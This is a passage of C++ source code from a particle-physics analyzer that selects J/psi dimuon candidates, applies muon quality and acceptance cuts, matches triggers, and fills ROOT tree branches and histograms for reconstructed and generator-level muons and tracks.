new((*Reco_QQ_mupl_4mom)[Reco_QQ_size])TLorentzVector(vMuon1);\n new((*Reco_QQ_mumi_4mom)[Reco_QQ_size])TLorentzVector(vMuon2);\n\n Reco_QQ_mupl_StationsMatched[Reco_QQ_size] = muon1->numberOfMatchedStations();\n Reco_QQ_mumi_StationsMatched[Reco_QQ_size] = muon2->numberOfMatchedStations();\n\n Reco_QQ_mupl_TrkMuArb[Reco_QQ_size] = muon1->muonID(\"TrackerMuonArbitrated\");\n Reco_QQ_mupl_TMOneStaTight[Reco_QQ_size] = muon1->muonID(\"TMOneStationTight\");\n\n Reco_QQ_mumi_TrkMuArb[Reco_QQ_size] = muon2->muonID(\"TrackerMuonArbitrated\");\n Reco_QQ_mumi_TMOneStaTight[Reco_QQ_size] = muon2->muonID(\"TMOneStationTight\");\n\n iTrack_mupl = muon1->innerTrack();\n iTrack_mumi = muon2->innerTrack();\n\n if (muon1->isGlobalMuon())\n gTrack_mupl = muon1->globalTrack();\n\n if (muon2->isGlobalMuon())\n gTrack_mumi = muon2->globalTrack();\n }\n else {\n new((*Reco_QQ_mupl_4mom)[Reco_QQ_size])TLorentzVector(vMuon2);\n new((*Reco_QQ_mumi_4mom)[Reco_QQ_size])TLorentzVector(vMuon1);\n\n Reco_QQ_mupl_StationsMatched[Reco_QQ_size] = muon2->numberOfMatchedStations();\n Reco_QQ_mumi_StationsMatched[Reco_QQ_size] = muon1->numberOfMatchedStations();\n\n Reco_QQ_mupl_TrkMuArb[Reco_QQ_size] = muon2->muonID(\"TrackerMuonArbitrated\");\n Reco_QQ_mupl_TMOneStaTight[Reco_QQ_size] = muon2->muonID(\"TMOneStationTight\");\n\n Reco_QQ_mumi_TrkMuArb[Reco_QQ_size] = muon1->muonID(\"TrackerMuonArbitrated\");\n Reco_QQ_mumi_TMOneStaTight[Reco_QQ_size] = muon1->muonID(\"TMOneStationTight\");\n\n\n iTrack_mupl = muon2->innerTrack();\n iTrack_mumi = muon1->innerTrack();\n\n if (muon2->isGlobalMuon())\n gTrack_mupl = muon2->globalTrack();\n\n if (muon1->isGlobalMuon())\n gTrack_mumi = muon1->globalTrack();\n }\n\n if (!_theMinimumFlag) {\n Reco_QQ_mupl_nTrkHits[Reco_QQ_size] = iTrack_mupl->found();\n Reco_QQ_mumi_nTrkHits[Reco_QQ_size] = iTrack_mumi->found();\n Reco_QQ_mupl_normChi2_inner[Reco_QQ_size] = iTrack_mupl->normalizedChi2();\n Reco_QQ_mumi_normChi2_inner[Reco_QQ_size] = iTrack_mumi->normalizedChi2();\n Reco_QQ_mupl_nPixWMea[Reco_QQ_size] = iTrack_mupl->hitPattern().pixelLayersWithMeasurement();\n Reco_QQ_mumi_nPixWMea[Reco_QQ_size] = iTrack_mumi->hitPattern().pixelLayersWithMeasurement();\n Reco_QQ_mupl_nTrkWMea[Reco_QQ_size] = iTrack_mupl->hitPattern().trackerLayersWithMeasurement();\n Reco_QQ_mumi_nTrkWMea[Reco_QQ_size] = iTrack_mumi->hitPattern().trackerLayersWithMeasurement();\n Reco_QQ_mupl_dxy[Reco_QQ_size] = iTrack_mupl->dxy(RefVtx);\n Reco_QQ_mumi_dxy[Reco_QQ_size] = iTrack_mumi->dxy(RefVtx);\n Reco_QQ_mupl_dxyErr[Reco_QQ_size] = iTrack_mupl->dxyError();\n Reco_QQ_mumi_dxyErr[Reco_QQ_size] = iTrack_mumi->dxyError();\n Reco_QQ_mupl_dz[Reco_QQ_size] = iTrack_mupl->dz(RefVtx);\n Reco_QQ_mumi_dz[Reco_QQ_size] = iTrack_mumi->dz(RefVtx);\n Reco_QQ_mupl_dzErr[Reco_QQ_size] = iTrack_mupl->dzError();\n Reco_QQ_mumi_dzErr[Reco_QQ_size] = iTrack_mumi->dzError();\n Reco_QQ_mupl_pt_inner[Reco_QQ_size] = iTrack_mupl->pt();\n Reco_QQ_mumi_pt_inner[Reco_QQ_size] = iTrack_mumi->pt();\n Reco_QQ_mupl_ptErr_inner[Reco_QQ_size] = iTrack_mupl->ptError();\n Reco_QQ_mumi_ptErr_inner[Reco_QQ_size] = iTrack_mumi->ptError();\n \n if (gTrack_mupl.isNonnull()) {\n Reco_QQ_mupl_nMuValHits[Reco_QQ_size] = gTrack_mupl->hitPattern().numberOfValidMuonHits();\n Reco_QQ_mupl_normChi2_global[Reco_QQ_size] = gTrack_mupl->normalizedChi2();\n Reco_QQ_mupl_pt_global[Reco_QQ_size] = gTrack_mupl->pt();\n Reco_QQ_mupl_ptErr_global[Reco_QQ_size] = gTrack_mupl->ptError();\n }\n else {\n Reco_QQ_mupl_nMuValHits[Reco_QQ_size] = -1;\n Reco_QQ_mupl_normChi2_global[Reco_QQ_size] = 999;\n Reco_QQ_mupl_pt_global[Reco_QQ_size] = -1;\n Reco_QQ_mupl_ptErr_global[Reco_QQ_size] = -1;\n }\n\n if (gTrack_mumi.isNonnull()) {\n Reco_QQ_mumi_nMuValHits[Reco_QQ_size] = gTrack_mumi->hitPattern().numberOfValidMuonHits();\n Reco_QQ_mumi_normChi2_global[Reco_QQ_size] = gTrack_mumi->normalizedChi2();\n Reco_QQ_mumi_pt_global[Reco_QQ_size] = gTrack_mumi->pt();\n Reco_QQ_mumi_ptErr_global[Reco_QQ_size] = gTrack_mumi->ptError();\n }\n else {\n Reco_QQ_mumi_nMuValHits[Reco_QQ_size] = -1;\n Reco_QQ_mumi_normChi2_global[Reco_QQ_size] = 999;\n Reco_QQ_mumi_pt_global[Reco_QQ_size] = -1;\n Reco_QQ_mumi_ptErr_global[Reco_QQ_size] = -1;\n }\n }\n\n \n TLorentzVector vJpsi = lorentzMomentum(aJpsiCand->p4());\n new((*Reco_QQ_4mom)[Reco_QQ_size])TLorentzVector(vJpsi);\n\n if (_useBS) {\n Reco_QQ_ctau[Reco_QQ_size] = 10.0*aJpsiCand->userFloat(\"ppdlBS\");\n Reco_QQ_ctauErr[Reco_QQ_size] = 10.0*aJpsiCand->userFloat(\"ppdlErrBS\");\n }\n else {\n Reco_QQ_ctau[Reco_QQ_size] = 10.0*aJpsiCand->userFloat(\"ppdlPV\");\n Reco_QQ_ctauErr[Reco_QQ_size] = 10.0*aJpsiCand->userFloat(\"ppdlErrPV\");\n }\n Reco_QQ_ctauTrue[Reco_QQ_size] = 10.*aJpsiCand->userFloat(\"ppdlTrue\");\n\n Reco_QQ_VtxProb[Reco_QQ_size] = aJpsiCand->userFloat(\"vProb\");\n Reco_QQ_dca[Reco_QQ_size] = aJpsiCand->userFloat(\"DCA\");\n Reco_QQ_MassErr[Reco_QQ_size] = aJpsiCand->userFloat(\"MassErr\");\n\n Reco_QQ_NtrkDeltaR03[Reco_QQ_size]=0;\n Reco_QQ_NtrkDeltaR04[Reco_QQ_size]=0;\n Reco_QQ_NtrkDeltaR05[Reco_QQ_size]=0;\n\n Reco_QQ_NtrkPt02[Reco_QQ_size]=0;\n Reco_QQ_NtrkPt03[Reco_QQ_size]=0;\n Reco_QQ_NtrkPt04[Reco_QQ_size]=0;\n\n if (collTracks.isValid()) {\n for(std::vector<reco::Track>::const_iterator it=collTracks->begin();\n it!=collTracks->end(); ++it) {\n const reco::Track* track = &(*it); \n\n double dz = track->dz(RefVtx);\n double dzsigma = sqrt(track->dzError()*track->dzError()+RefVtx_zError*RefVtx_zError); \n double dxy = track->dxy(RefVtx);\n double dxysigma = sqrt(track->dxyError()*track->dxyError() + RefVtx_xError*RefVtx_yError);\n // to be fixed\n // double dxysigma = sqrt(track->dxyError()*track->dxyError() + RefVtx_xError*RefVtx_xError+RefVtx_yError*RefVtx_yError);\n // std::cout << \"original: \" << dxysigma\n // << \" better: \" << sqrt( pow(track->dxyError(),2) + pow(RefVtx_xError,2) + pow(RefVtx_yError,2) )\n // << \" ratio: \" << dxysigma / sqrt( pow(track->dxyError(),2) + pow(RefVtx_xError,2) + pow(RefVtx_yError,2) )\n // << \" best: \"\n // << std::endl;\n \n\n if (track->qualityByName(\"highPurity\") &&\n track->pt()>0.2 && fabs(track->eta())<2.4 &&\n track->ptError()/track->pt()<0.1 && \n fabs(dz/dzsigma)<3.0 && fabs(dxy/dxysigma)<3.0) {\n \n Reco_QQ_NtrkPt02[Reco_QQ_size]++;\n if (track->pt()>0.3) Reco_QQ_NtrkPt03[Reco_QQ_size]++;\n if (track->pt()>0.4) {\n Reco_QQ_NtrkPt04[Reco_QQ_size]++;\n\n if (iTrack_mupl->charge()==track->charge()) {\n double Reco_QQ_mupl_NtrkDeltaR = deltaR(iTrack_mupl->eta(), iTrack_mupl->phi(), track->eta(), track->phi());\n double Reco_QQ_mupl_RelDelPt = abs(1.0 - iTrack_mupl->pt()/track->pt());\n\n if ( Reco_QQ_mupl_NtrkDeltaR<0.001 &&\n Reco_QQ_mupl_RelDelPt<0.001 )\n continue;\n }\n else {\n double Reco_QQ_mumi_NtrkDeltaR = deltaR(iTrack_mumi->eta(), iTrack_mumi->phi(), track->eta(), track->phi());\n double Reco_QQ_mumi_RelDelPt = abs(1.0 - iTrack_mumi->pt()/track->pt());\n\n if ( Reco_QQ_mumi_NtrkDeltaR<0.001 &&\n Reco_QQ_mumi_RelDelPt<0.001 ) \n continue;\n }\n\n double Reco_QQ_NtrkDeltaR = deltaR(aJpsiCand->eta(), aJpsiCand->phi(), track->eta(), track->phi());\n if (Reco_QQ_NtrkDeltaR<0.3)\n Reco_QQ_NtrkDeltaR03[Reco_QQ_size]++;\n if (Reco_QQ_NtrkDeltaR<0.4)\n Reco_QQ_NtrkDeltaR04[Reco_QQ_size]++;\n if (Reco_QQ_NtrkDeltaR<0.5)\n Reco_QQ_NtrkDeltaR05[Reco_QQ_size]++;\n }\n }\n }\n }\n\n Reco_QQ_size++;\n return;\n}\n\nvoid\nHiOniaAnalyzer::fillRecoJpsi(int iSign, int count, std::string trigName, std::string centName) {\n pat::CompositeCandidate* aJpsiCand = _thePassedCands[iSign].at(count)->clone();\n aJpsiCand->addUserInt(\"centBin\",centBin);\n\n std::string theLabel = trigName + \"_\" + centName + \"_\" + theSign.at(iSign);\n\n bool isBarrel = false;\n if ( fabs(aJpsiCand->rapidity()) < 1.2) isBarrel = true;\n\n float theCtau;\n // float theCtauErr; \n\n if (_useBS) {\n theCtau = 10.0*aJpsiCand->userFloat(\"ppdlBS\");\n // theCtauErr = 10.*aJpsiCand->userFloat(\"ppdlErrBS\");\n }\n else {\n theCtau = 10.0*aJpsiCand->userFloat(\"ppdlPV\");\n // theCtauErr = 10.*aJpsiCand->userFloat(\"ppdlErrPV\");\n }\n\n if (iSign==0 &&\n aJpsiCand->mass() >= JpsiMassMin && aJpsiCand->mass() < JpsiMassMax && \n theCtau >= JpsiCtMin && theCtau < JpsiCtMax && \n aJpsiCand->pt() >= JpsiPtMin && aJpsiCand->pt() < JpsiPtMax && \n fabs(aJpsiCand->rapidity()) >= JpsiRapMin && fabs(aJpsiCand->rapidity()) < JpsiRapMax) {\n passedCandidates++;\n }\n\n if (_fillHistos) {\n if (_combineCategories && _thePassedCats[iSign].at(count)<=TrkTrk) { // for the moment consider Glb+Glb, Glb+Trk, Trk+Trk\n myRecoJpsiHistos->Fill(aJpsiCand, \"All_\"+ theLabel);\n if (isBarrel)\n myRecoJpsiHistos->Fill(aJpsiCand, \"Barrel_\"+ theLabel);\n else\n myRecoJpsiHistos->Fill(aJpsiCand, \"EndCap_\"+ theLabel);\n }\n else {\n switch (_thePassedCats[iSign].at(count)) {\n case GlbGlb:\n myRecoJpsiGlbGlbHistos->Fill(aJpsiCand, \"All_\"+ theLabel);\n if (isBarrel)\n myRecoJpsiGlbGlbHistos->Fill(aJpsiCand, \"Barrel_\"+ theLabel);\n else\n myRecoJpsiGlbGlbHistos->Fill(aJpsiCand, \"EndCap_\"+ theLabel);\n break;\n case GlbTrk:\n myRecoJpsiGlbTrkHistos->Fill(aJpsiCand, \"All_\"+ theLabel);\n if (isBarrel)\n myRecoJpsiGlbTrkHistos->Fill(aJpsiCand, \"Barrel_\"+ theLabel);\n else\n myRecoJpsiGlbTrkHistos->Fill(aJpsiCand, \"EndCap_\"+ theLabel);\n break;\n case TrkTrk:\n myRecoJpsiTrkTrkHistos->Fill(aJpsiCand, \"All_\"+ theLabel);\n if (isBarrel)\n myRecoJpsiTrkTrkHistos->Fill(aJpsiCand, \"Barrel_\"+ theLabel);\n else\n myRecoJpsiTrkTrkHistos->Fill(aJpsiCand, \"EndCap_\"+ theLabel);\n break;\n default:\n break;\n }\n }\n }\n\n this->fillHistosAndDS(_thePassedCats[iSign].at(count), aJpsiCand); \n\n return;\n}\n\nvoid\nHiOniaAnalyzer::fillHistosAndDS(unsigned int theCat, const pat::CompositeCandidate* aJpsiCand) {\n\n return;\n}\n\nvoid\nHiOniaAnalyzer::checkTriggers(const pat::CompositeCandidate* aJpsiCand) {\n const pat::Muon* muon1 = dynamic_cast<const pat::Muon*>(aJpsiCand->daughter(\"muon1\"));\n const pat::Muon* muon2 = dynamic_cast<const pat::Muon*>(aJpsiCand->daughter(\"muon2\"));\n\n // Trigger passed\n for (unsigned int iTr = 1; iTr<NTRIGGERS; ++iTr) {\n const pat::TriggerObjectStandAloneCollection mu1HLTMatchesFilter = muon1->triggerObjectMatchesByFilter( HLTLastFilters[iTr] );\n const pat::TriggerObjectStandAloneCollection mu2HLTMatchesFilter = muon2->triggerObjectMatchesByFilter( HLTLastFilters[iTr] );\n \n const pat::TriggerObjectStandAloneCollection mu1HLTMatchesPath = muon1->triggerObjectMatchesByPath( theTriggerNames.at(iTr) );\n const pat::TriggerObjectStandAloneCollection mu2HLTMatchesPath = muon2->triggerObjectMatchesByPath( theTriggerNames.at(iTr) );\n \n bool pass1 = false;\n bool pass2 = false;\n // if (iTr != NTRIGGERS_DBL) { // not sure the Multiplicity100_DoubleMu3 has the right filter name, so match by path for that one.\n pass1 = mu1HLTMatchesFilter.size() > 0;\n pass2 = mu2HLTMatchesFilter.size() > 0;\n /* }\n else {\n pass1 = mu1HLTMatchesPath.size() > 0;\n pass2 = mu2HLTMatchesPath.size() > 0;\n }\n */\n\n if (iTr > NTRIGGERS_DBL) { // single triggers here\n isTriggerMatched[iTr] = pass1 || pass2;\n } else { // double triggers here\n isTriggerMatched[iTr] = pass1 && pass2;\n }\n }\n\n for (unsigned int iTr=1;iTr<NTRIGGERS;++iTr) {\n if (isTriggerMatched[iTr]) {\n // fill event counting histogram only once per event, also if several muons fired trigger\n // if (alreadyFilled[iTr]) continue;\n // since we have bins for event info, let's try to fill here the trigger info for each pair\n // also if there are several pairs matched to the same kind of trigger\n hStats->Fill(iTr+NTRIGGERS); // pair info\n // alreadyFilled[iTr]=true;\n }\n }\n\n return;\n}\n\nvoid\nHiOniaAnalyzer::makeCuts(int sign) {\n math::XYZPoint RefVtx_tmp = RefVtx;\n\n if (collJpsi.isValid()) {\n for(std::vector<pat::CompositeCandidate>::const_iterator it=collJpsi->begin();\n it!=collJpsi->end(); ++it) {\n \n const pat::CompositeCandidate* cand = &(*it); \n if (fabs(cand->rapidity()) >= etaMax) continue;\n\n if (_muonLessPrimaryVertex && cand->hasUserData(\"muonlessPV\"))\n RefVtx = (*cand->userData<reco::Vertex>(\"muonlessPV\")).position();\n else if (!_muonLessPrimaryVertex && cand->hasUserData(\"PVwithmuons\"))\n RefVtx = (*cand->userData<reco::Vertex>(\"PVwithmuons\")).position();\n else\n std::cout << \"HiOniaAnalyzer::makeCuts: no PV for muon pair stored\" << std::endl;\n\n if (fabs(RefVtx.Z()) > _iConfig.getParameter< double > (\"maxAbsZ\")) continue;\n\n const pat::Muon* muon1 = dynamic_cast<const pat::Muon*>(cand->daughter(\"muon1\"));\n const pat::Muon* muon2 = dynamic_cast<const pat::Muon*>(cand->daughter(\"muon2\"));\n \n if (fabs(muon1->rapidity()) >= etaMax ||\n fabs(muon2->rapidity()) >= etaMax) continue;\n\n bool thisSign = ( (sign == 0 && muon1->charge() + muon2->charge() == 0) || \n (sign == 1 && muon1->charge() + muon2->charge() == 2) || \n (sign == 2 && muon1->charge() + muon2->charge() == -2) );\n\n if (thisSign) {\n \n // global + global?\n if (checkCuts(cand,muon1,muon2,&HiOniaAnalyzer::selGlobalMuon,&HiOniaAnalyzer::selGlobalMuon)){\n _thePassedCats[sign].push_back(GlbGlb); _thePassedCands[sign].push_back(cand);\n // continue;\n }\n /* \n // global + tracker? (x2) \n if (checkCuts(cand,muon1,muon2,&HiOniaAnalyzer::selGlobalMuon,&HiOniaAnalyzer::selTrackerMuon)){\n _thePassedCats[sign].push_back(GlbTrk); _thePassedCands[sign].push_back(cand);\n // continue;\n }\n\n if (checkCuts(cand,muon2,muon1,&HiOniaAnalyzer::selGlobalMuon,&HiOniaAnalyzer::selTrackerMuon)){\n _thePassedCats[sign].push_back(GlbTrk); _thePassedCands[sign].push_back(cand);\n // continue;\n }\n */\n\n /*// tracker + tracker? \n if (checkCuts(cand,muon1,muon2,&HiOniaAnalyzer::selTrackerMuon,&HiOniaAnalyzer::selTrackerMuon)){\n _thePassedCats[sign].push_back(TrkTrk); _thePassedCands[sign].push_back(cand);\n continue;\n }*/\n }\n }\n }\n \n RefVtx = RefVtx_tmp;\n return;\n}\n\n\nbool\nHiOniaAnalyzer::checkCuts(const pat::CompositeCandidate* cand, const pat::Muon* muon1, const pat::Muon* muon2, bool(HiOniaAnalyzer::* callFunc1)(const pat::Muon*), bool(HiOniaAnalyzer::* callFunc2)(const pat::Muon*)) {\n if ( ( (this->*callFunc1)(muon1) && (this->*callFunc2)(muon2) ) &&\n (!_applycuts || cand->userFloat(\"vProb\") > 0.01) )\n return true;\n else\n return false;\n}\n\n\npair< unsigned int, const pat::CompositeCandidate* > \nHiOniaAnalyzer::theBestQQ(int sign) {\n\n unsigned int theBestCat = 99;\n const pat::CompositeCandidate* theBestCand = new pat::CompositeCandidate();\n\n for( unsigned int i = 0; i < _thePassedCands[sign].size(); i++) { \n if (_thePassedCats[sign].at(i) < theBestCat) {\n theBestCat = _thePassedCats[sign].at(i);\n theBestCand = _thePassedCands[sign].at(i);\n }\n }\n\n pair< unsigned int, const pat::CompositeCandidate* > result = make_pair(theBestCat, theBestCand );\n return result;\n}\n\nbool\nHiOniaAnalyzer::isMuonInAccept(const pat::Muon* aMuon) {\n return (fabs(aMuon->eta()) < 2.4 &&\n ((fabs(aMuon->eta()) < 1.0 && aMuon->pt() >= 3.4) ||\n (1.0 <= fabs(aMuon->eta()) && fabs(aMuon->eta()) < 1.5 && aMuon->pt() >= 5.8-2.4*fabs(aMuon->eta())) ||\n (1.5 <= fabs(aMuon->eta()) && aMuon->pt() >= 3.3667-7.0/9.0*fabs(aMuon->eta()))));\n //return (fabs(aMuon->eta()) < 2.4 &&\n // ((fabs(aMuon->eta()) < 1.3 && aMuon->pt() >= 3.3) ||\n // (1.3 <= fabs(aMuon->eta()) && fabs(aMuon->eta()) < 2.2 && aMuon->p() >= 2.9) ||\n // (2.2 <= fabs(aMuon->eta()) && aMuon->pt() >= 0.8)));\n}\n\nbool\nHiOniaAnalyzer::selGlobalMuon(const pat::Muon* aMuon) {\n \n if(!aMuon->isGlobalMuon())\n return false;\n\n if(!aMuon->isTrackerMuon())\n return false;\n \n if(!_applycuts)\n return true;\n\n reco::TrackRef iTrack = aMuon->innerTrack();\n const reco::HitPattern& p = iTrack->hitPattern();\n\n reco::TrackRef gTrack = aMuon->globalTrack();\n // const reco::HitPattern& q = gTrack->hitPattern();\n /* Z analysis cuts\n return (isMuonInAccept(aMuon) &&\n iTrack->found() > 10 &&\n gTrack->chi2()/gTrack->ndof() < 10.0 &&\n q.numberOfValidMuonHits() > 0 &&\n iTrack->chi2()/iTrack->ndof() < 4.0 &&\n iTrack->ptError()/iTrack->pt() <= 0.1 &&\n fabs(iTrack->dxy(RefVtx)) < 0.03 &&\n fabs(iTrack->dz(RefVtx)) < 0.150 );\n */\n // J/psi tuned as of 2011-03-18\n return (isMuonInAccept(aMuon) &&\n iTrack->found() > 10 &&\n gTrack->chi2()/gTrack->ndof() < 20.0 &&\n // q.numberOfValidMuonHits() > 6 &&\n iTrack->chi2()/iTrack->ndof() < 4.0 &&\n aMuon->muonID(\"TrackerMuonArbitrated\") &&\n // aMuon->muonID(\"TMLastStationAngTight\") &&\n p.pixelLayersWithMeasurement() > 0 &&\n fabs(iTrack->dxy(RefVtx)) < 3.0 &&\n fabs(iTrack->dz(RefVtx)) < 15.0 );\n}\n\n\nbool \nHiOniaAnalyzer::selTrackerMuon(const pat::Muon* aMuon) {\n \n if(!aMuon->isTrackerMuon())\n return false;\n\n if(!_applycuts)\n return true;\n\n reco::TrackRef iTrack = aMuon->innerTrack();\n const reco::HitPattern& p = iTrack->hitPattern();\n\n return (isMuonInAccept(aMuon) &&\n iTrack->normalizedChi2() < 1.8 &&\n aMuon->muonID(\"TrackerMuonArbitrated\") &&\n aMuon->muonID(\"TMOneStationTight\") &&\n p.trackerLayersWithMeasurement() > 5 &&\n p.pixelLayersWithMeasurement() > 1 &&\n fabs(iTrack->dxy(RefVtx)) < 3.0 &&\n fabs(iTrack->dz(RefVtx)) < 30.0 );\n}\n\n\nvoid\nHiOniaAnalyzer::InitEvent()\n{\n for (unsigned int iTr=1;iTr<NTRIGGERS;++iTr) {\n alreadyFilled[iTr]=false;\n }\n HLTriggers = 0;\n\n nEP = 0;\n nNfEP = 0;\n\n _thePassedCats[0].clear(); _thePassedCands[0].clear();\n _thePassedCats[1].clear(); _thePassedCands[1].clear();\n _thePassedCats[2].clear(); _thePassedCands[2].clear();\n\n Reco_QQ_size = 0;\n Reco_mu_size = 0;\n Reco_trk_size = 0;\n\n Gen_QQ_size = 0;\n Gen_mu_size = 0;\n\n Reco_QQ_4mom->Clear();\n Reco_QQ_vtx->Clear();\n Reco_QQ_mupl_4mom->Clear();\n Reco_QQ_mumi_4mom->Clear();\n Reco_mu_4mom->Clear();\n Reco_mu_3vec->Clear();\n Reco_trk_4mom->Clear();\n Reco_trk_vtx->Clear();\n\n if (_isMC) {\n Gen_QQ_4mom->Clear();\n Gen_QQ_mupl_4mom->Clear();\n Gen_QQ_mumi_4mom->Clear();\n Gen_mu_4mom->Clear();\n Gen_mu_3vec->Clear();\n }\n\n for(std::map< std::string, int >::iterator clearIt= mapTriggerNameToIntFired_.begin(); clearIt != mapTriggerNameToIntFired_.end(); clearIt++){\n clearIt->second=0;\n }\n for(std::map< std::string, int >::iterator clearIt= mapTriggerNameToPrescaleFac_.begin(); clearIt != mapTriggerNameToPrescaleFac_.end(); clearIt++){\n clearIt->second=-1;\n }\n\n return;\n}\n\n\n\nvoid\nHiOniaAnalyzer::fillGenInfo()\n{\n if (Gen_QQ_size >= Max_QQ_size) {\n std::cout << \"Too many dimuons: \" << Gen_QQ_size << std::endl;\n std::cout << \"Maximum allowed: \" << Max_QQ_size << std::endl;\n return;\n }\n\n if (Gen_mu_size >= Max_mu_size) {\n std::cout << \"Too many muons: \" << Gen_mu_size << std::endl;\n std::cout << \"Maximum allowed: \" << Max_mu_size << std::endl;\n return;\n }\n \n if (collGenParticles.isValid()) {\n size_t iGenParticle = 0;\n for(std::vector<reco::GenParticle>::const_iterator it=collGenParticles->begin();\n it!=collGenParticles->end();++it) {\n const reco::GenParticle* gen = &(*it);\n\n if (abs(gen->pdgId()) == _oniaPDG && gen->status() == 2 &&\n gen->numberOfDaughters() >= 2) {\n\n int mu1=-1, mu2=-1;\n for(unsigned int didx=0; didx<gen->numberOfDaughters(); didx++) {\n const reco::Candidate* genMuon = gen->daughter(didx);\n if ( abs(genMuon->pdgId()) == 13 && genMuon->status() == 1 ) {\n if (mu1==-1) mu1 = didx;\n else mu2 = didx;\n }\n }\n \n if (mu1==-1 || mu2==-1) continue;\n const reco::Candidate* genMuon1 = gen->daughter(mu1);\n const reco::Candidate* genMuon2 = gen->daughter(mu2);\n\n Gen_QQ_type[Gen_QQ_size] = _isPromptMC ? 0 : 1; // prompt: 0, non-prompt: 1\n std::pair<int, float> MCinfo = findGenMCInfo(gen);\n Gen_QQ_momId[Gen_QQ_size] = MCinfo.first;\n Gen_QQ_ctau[Gen_QQ_size] = MCinfo.second;\n \n TLorentzVector vJpsi = lorentzMomentum(gen->p4());\n new((*Gen_QQ_4mom)[Gen_QQ_size])TLorentzVector(vJpsi);\n\n\n TLorentzVector vMuon1 = lorentzMomentum(genMuon1->p4());\n TLorentzVector vMuon2 = lorentzMomentum(genMuon2->p4());\n \n if (genMuon1->charge() > genMuon2->charge()) {\n new((*Gen_QQ_mupl_4mom)[Gen_QQ_size])TLorentzVector(vMuon1);\n new((*Gen_QQ_mumi_4mom)[Gen_QQ_size])TLorentzVector(vMuon2);\n }\n else {\n new((*Gen_QQ_mupl_4mom)[Gen_QQ_size])TLorentzVector(vMuon2);\n new((*Gen_QQ_mumi_4mom)[Gen_QQ_size])TLorentzVector(vMuon1);\n }\n\n Gen_QQ_size++;\n \n }\n\n if (abs(gen->pdgId()) == 13 && gen->status() == 1) {\n Gen_mu_type[Gen_mu_size] = _isPromptMC ? 0 : 1; // prompt: 0, non-prompt: 1\n Gen_mu_charge[Gen_mu_size] = gen->charge();\n\n TLorentzVector vMuon = lorentzMomentum(gen->p4());\n new((*Gen_mu_4mom)[Gen_mu_size])TLorentzVector(vMuon);\n\n Gen_mu_size++;\n }\n iGenParticle++;\n }\n }\n \n return;\n}\n\nvoid\nHiOniaAnalyzer::fillRecoTracks()\n{\n if (collTracks.isValid()) {\n for(std::vector<reco::Track>::const_iterator it=collTracks->begin();\n it!=collTracks->end(); ++it) {\n const reco::Track* track = &(*it); \n\n // double dz = track->dz(RefVtx);\n // double dzsigma = sqrt(track->dzError()*track->dzError()+RefVtx_zError*RefVtx_zError); \n // double dxy = track->dxy(RefVtx);\n // double dxysigma = sqrt(track->dxyError()*track->dxyError() + RefVtx_xError*RefVtx_yError);\n \n if (track->qualityByName(\"highPurity\") &&\n track->pt()>0.2 && fabs(track->eta())<2.4 &&\n track->ptError()/track->pt()<0.1) {\n if (Reco_trk_size >= Max_trk_size) {\n std::cout << \"Too many tracks: \" << Reco_trk_size << std::endl;\n std::cout << \"Maximum allowed: \" << Max_trk_size << std::endl;\n break;\n }\n \n Reco_trk_charge[Reco_trk_size] = track->charge();\n \n new((*Reco_trk_vtx)[Reco_trk_size])TVector3(track->vx(),track->vy(),track->vz());\n\n Reco_trk_dxyError[Reco_trk_size] = track->dxyError();\n Reco_trk_dzError[Reco_trk_size] = track->dzError();\n\n TLorentzVector vTrack;\n vTrack.SetPtEtaPhiM(track->pt(), track->eta(), track->phi(), 0.13957018);\n new((*Reco_trk_4mom)[Reco_trk_size])TLorentzVector(vTrack);\n Reco_trk_size++;\n }\n }\n }\n \n return;\n}\n\nvoid\nHiOniaAnalyzer::fillRecoMuons(int iCent)\n{\n int nL1DoubleMuOpenMuons=0;\n int nL2DoubleMu3Muons=0;\n int nL3Mu12Muons=0;\n int nGoodMuons=0;\n int nGoodMuonsNoTrig=0;\n\n if (collMuonNoTrig.isValid()) {\n for(std::vector<pat::Muon>::const_iterator it=collMuonNoTrig->begin();\n it!=collMuonNoTrig->end();++it) {\n const pat::Muon* muon = &(*it);\n\n if (muon->isGlobalMuon() &&\n selGlobalMuon(muon))\n nGoodMuonsNoTrig++;\n }\n }\n\n if (collMuon.isValid()) {\n for(vector<pat::Muon>::const_iterator it=collMuon->begin();\n it!=collMuon->end();++it) {\n const pat::Muon* muon = &(*it);\n\n bool isBarrel = false;\n if ( fabs(muon->eta() < 1.2) ) isBarrel = true;\n std::string theLabel = theTriggerNames.at(0) + \"_\" + theCentralities.at(iCent);\n\n if (_fillHistos) {\n if (_combineCategories) {\n if ( (muon->isGlobalMuon() &&\n selGlobalMuon(muon)) ||\n (muon->isTrackerMuon() &&\n selTrackerMuon(muon)) ) {\n myRecoMuonHistos->Fill(muon, \"All_\"+theLabel);\n if (isBarrel)\n myRecoMuonHistos->Fill(muon, \"Barrel_\"+theLabel);\n else\n myRecoMuonHistos->Fill(muon, \"EndCap_\"+theLabel);\n }\n }\n else {\n if (muon->isGlobalMuon() &&\n selGlobalMuon(muon)) {\n \n myRecoGlbMuonHistos->Fill(muon, \"All_\"+theLabel);\n if (isBarrel)\n myRecoGlbMuonHistos->Fill(muon, \"Barrel_\"+theLabel);\n else\n myRecoGlbMuonHistos->Fill(muon, \"EndCap_\"+theLabel);\n }\n else if (muon->isTrackerMuon() &&\n selTrackerMuon(muon)) {\n myRecoTrkMuonHistos->Fill(muon, \"All_\"+theLabel);\n if (isBarrel)\n myRecoTrkMuonHistos->Fill(muon, \"Barrel_\"+theLabel);\n else\n myRecoTrkMuonHistos->Fill(muon, \"EndCap_\"+theLabel);\n }\n }\n }\n\n if (muon->isGlobalMuon() && selGlobalMuon(muon)) muType = 0;\n else if (muon->isTrackerMuon() && selTrackerMuon(muon)) muType = 1;\n else muType = -1;\n\n if ( //muType==0 ||\n muType==1 ) {\n nGoodMuons++;\n\n int trigBits=0;\n for (unsigned int iTr=1; iTr<NTRIGGERS; ++iTr) {\n const pat::TriggerObjectStandAloneCollection muHLTMatchesFilter = muon->triggerObjectMatchesByFilter( HLTLastFilters[iTr] );\n const pat::TriggerObjectStandAloneCollection muHLTMatchesPath = muon->triggerObjectMatchesByPath( theTriggerNames.at(iTr) );\n\n // apparently matching by path gives false positives so we use matching by filter for all triggers for which we know the filter name\n if ( muHLTMatchesFilter.size() > 0 ) {\n std::string theLabel = theTriggerNames.at(iTr) + \"_\" + theCentralities.at(iCent);\n\n if (_fillHistos) {\n if (_combineCategories) {\n myRecoMuonHistos->Fill(muon, \"All_\"+theLabel);\n if (isBarrel)\n myRecoMuonHistos->Fill(muon, \"Barrel_\"+theLabel);\n else\n myRecoMuonHistos->Fill(muon, \"EndCap_\"+theLabel);\n }\n else if 